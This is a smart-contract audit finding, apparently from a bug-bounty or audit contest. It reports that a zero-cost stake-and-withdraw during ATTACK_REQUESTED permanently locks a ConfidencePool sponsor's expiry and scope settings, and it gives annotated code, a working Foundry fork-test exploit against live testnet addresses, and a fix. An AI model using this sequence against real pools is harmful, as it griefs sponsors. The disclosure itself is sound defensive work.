FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: medium

Zero-Cost Stake/Withdraw Can Permanently Lock Expiry And Scope On An Empty Pool

Author Revealed upon completion

Root + Impact

Description

A pool sponsor can update expiry until the first stake and can update scope until the registry leaves pre-attack staging. I noticed that an unprivileged account can permanently consume both rights with no lasting stake in the pool.

The issue arises because stake() sets expiryLocked = true before funds become permanently committed, while withdraw() remains allowed in ATTACK_REQUESTED. The same first stake also observes ATTACK_REQUESTED, causing _observePoolState() to set scopeLocked = true. The attacker then withdraws the full stake, leaving an empty pool where both sponsor controls are permanently locked.

// src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
// @> In ATTACK_REQUESTED this call locks scope through _observePoolState().
_assertDepositsAllowed(_observePoolState());
// @> Expiry is locked by the first stake.
if (!expiryLocked) {
expiryLocked = true;
}
...
}
function withdraw() external nonReentrant {
...
// @> Withdraw is still allowed in ATTACK_REQUESTED when riskWindowStart == 0.
if (
riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) {
revert WithdrawsDisabled();
}
...
totalEligibleStake -= amount;
stakeToken.safeTransfer(msg.sender, amount);
}
function setExpiry(uint256 newExpiry) external onlyOwner {
// @> Remains locked even after the only staker fully exits.
if (expiryLocked) revert ExpiryLocked();
...
}
function setPoolScope(address[] calldata accounts) external onlyOwner {
_observePoolState();
// @> Remains locked even though totalEligibleStake is zero.
if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts);
}

Risk

Likelihood:

  • This occurs whenever the agreement is in ATTACK_REQUESTED and the pool has not yet received a stake.

  • Any account can perform the sequence with only minStake temporarily required, then withdraw the full amount.

Impact:

  • The sponsor loses the ability to adjust expiry and scope even though the attacker leaves no stake behind.

  • This can force an empty or incorrectly scoped pool to remain published until expiry, requiring the sponsor to abandon it and create a new pool.

Proof of Concept

This PoC uses a BattleChain testnet fork with the live Safe Harbor AgreementFactory and AttackRegistry. No mock agreement or mock registry is used.

Run:

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test --match-path test/fork/W61ZeroCostFreezeRealFork.t.sol -vvv

Expected output:

[PASS] test_realFork_zeroCostStakeWithdrawLocksEmptyPoolExpiryAndScope()
Logs:
poolTotalEligibleStake 0
poolBalance 0
attackerBalance 1000000000000000000
expiryLocked 1
scopeLocked 1
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {
AgreementDetails,
Contact,
Chain as BCChain,
Account as BCAccount,
ChildContractScope,
BountyTerms,
IdentityRequirements
} from "@battlechain/types/AgreementTypes.sol";
contract TestERC20 is ERC20 {
constructor() ERC20("T", "T") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
interface ILiveAgreementFactory {
function create(AgreementDetails memory details, address owner, bytes32 salt) external returns (address);
function isAgreementContract(address agreement) external view returns (bool);
}
interface ILiveAgreement {
function isContractInScope(address account) external view returns (bool);
function extendCommitmentWindow(uint256 t) external;
}
interface ILiveAttackRegistry {
function requestUnderAttackForUnverifiedContracts(address agreement) external;
function getAgreementState(address agreement) external view returns (uint8);
}
contract W61ZeroCostFreezeRealForkTest is Test {
address constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address recovery = makeAddr("recovery");
address accountA = makeAddr("freshAccountA");
address accountB = makeAddr("freshAccountB");
function test_realFork_zeroCostStakeWithdrawLocksEmptyPoolExpiryAndScope() external {
vm.createSelectFork(vm.envString("BATTLECHAIN_TESTNET_RPC"));
ILiveAgreementFactory agreementFactory = ILiveAgreementFactory(AGREEMENT_FACTORY);
ILiveAttackRegistry attackRegistry = ILiveAttackRegistry(ATTACK_REGISTRY);
address agreement = _newAgreement(agreementFactory, owner, accountA, accountB);
vm.prank(owner);
ILiveAgreement(agreement).extendCommitmentWindow(block.timestamp + 8 days);
vm.prank(owner);
attackRegistry.requestUnderAttackForUnverifiedContracts(agreement);
assertEq(attackRegistry.getAgreementState(agreement), 2); // ATTACK_REQUESTED
ConfidencePool poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ConfidencePoolFactory poolFactory = ConfidencePoolFactory(address(new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImpl), makeAddr("moderator")))
)));
TestERC20 token = new TestERC20();
poolFactory.setStakeTokenAllowed(address(token), true);
address[] memory scope = new address[](1);
scope[0] = accountA;
vm.prank(owner);
ConfidencePool pool = ConfidencePool(poolFactory.createPool(
agreement,
address(token),
block.timestamp + 45 days,
1 ether,
recovery,
scope
));
uint256 originalExpiry = pool.expiry();
assertFalse(pool.expiryLocked());
assertFalse(pool.scopeLocked());
token.mint(attacker, 1 ether);
vm.startPrank(attacker);
token.approve(address(pool), 1 ether);
pool.stake(1 ether);
pool.withdraw();
vm.stopPrank();
console2.log("poolTotalEligibleStake", pool.totalEligibleStake());
console2.log("poolBalance", token.balanceOf(address(pool)));
console2.log("attackerBalance", token.balanceOf(attacker));
console2.log("expiryLocked", pool.expiryLocked() ? 1 : 0);
console2.log("scopeLocked", pool.scopeLocked() ? 1 : 0);
assertEq(pool.totalEligibleStake(), 0);
assertEq(token.balanceOf(address(pool)), 0);
assertEq(token.balanceOf(attacker), 1 ether);
assertTrue(pool.expiryLocked());
assertTrue(pool.scopeLocked());
vm.expectRevert(IConfidencePool.ExpiryLocked.selector);
vm.prank(owner);
pool.setExpiry(originalExpiry + 10 days);
address[] memory updatedScope = new address[](1);
updatedScope[0] = accountB;
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
vm.prank(owner);
pool.setPoolScope(updatedScope);
}
function _newAgreement(ILiveAgreementFactory agreementFactory, address owner_, address a, address b) internal returns (address) {
Contact[] memory contacts = new Contact[](1);
contacts[0] = Contact("owner", "x@y.z");
BCAccount[] memory accounts = new BCAccount[](2);
accounts[0] = BCAccount(_hex(a), ChildContractScope.None);
accounts[1] = BCAccount(_hex(b), ChildContractScope.None);
BCChain[] memory chains = new BCChain[](1);
chains[0] = BCChain(_hex(owner_), accounts, "eip155:627");
AgreementDetails memory details = AgreementDetails({
protocolName: "W61",
contactDetails: contacts,
chains: chains,
bountyTerms: BountyTerms(10, 100_000, true, IdentityRequirements.Anonymous, "", 0),
agreementURI: "ipfs://w61"
});
vm.prank(owner_);
address agreement = agreementFactory.create(details, owner_, keccak256(abi.encode("w61", block.timestamp, a)));
assertTrue(agreementFactory.isAgreementContract(agreement));
assertTrue(ILiveAgreement(agreement).isContractInScope(a));
assertTrue(ILiveAgreement(agreement).isContractInScope(b));
return agreement;
}
function _hex(address a) internal pure returns (string memory) {
bytes16 syms = "0123456789abcdef";
bytes memory out = new bytes(42);
out[0] = "0";
out[1] = "x";
uint160 v = uint160(a);
for (uint256 i; i < 20; i++) {
uint8 by = uint8(v >> (8 * (19 - i)));
out[2 + i * 2] = syms[by >> 4];
out[3 + i * 2] = syms[by & 0xf];
}
return string(out);
}
}

Recommended Mitigation

Do not let an empty pool remain expiry/scope locked solely because a fully withdrawn first stake touched the pool. One option is to reset the latches when the last stake exits before any risk window is observed.

function withdraw() external nonReentrant {
...
totalEligibleStake -= amount;
+
+ if (totalEligibleStake == 0 && riskWindowStart == 0 && outcome == PoolStates.Outcome.UNRESOLVED) {
+ expiryLocked = false;
+ if (state == IAttackRegistry.ContractState.ATTACK_REQUESTED) {
+ scopeLocked = false;
+ }
+ }
stakeToken.safeTransfer(msg.sender, amount);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!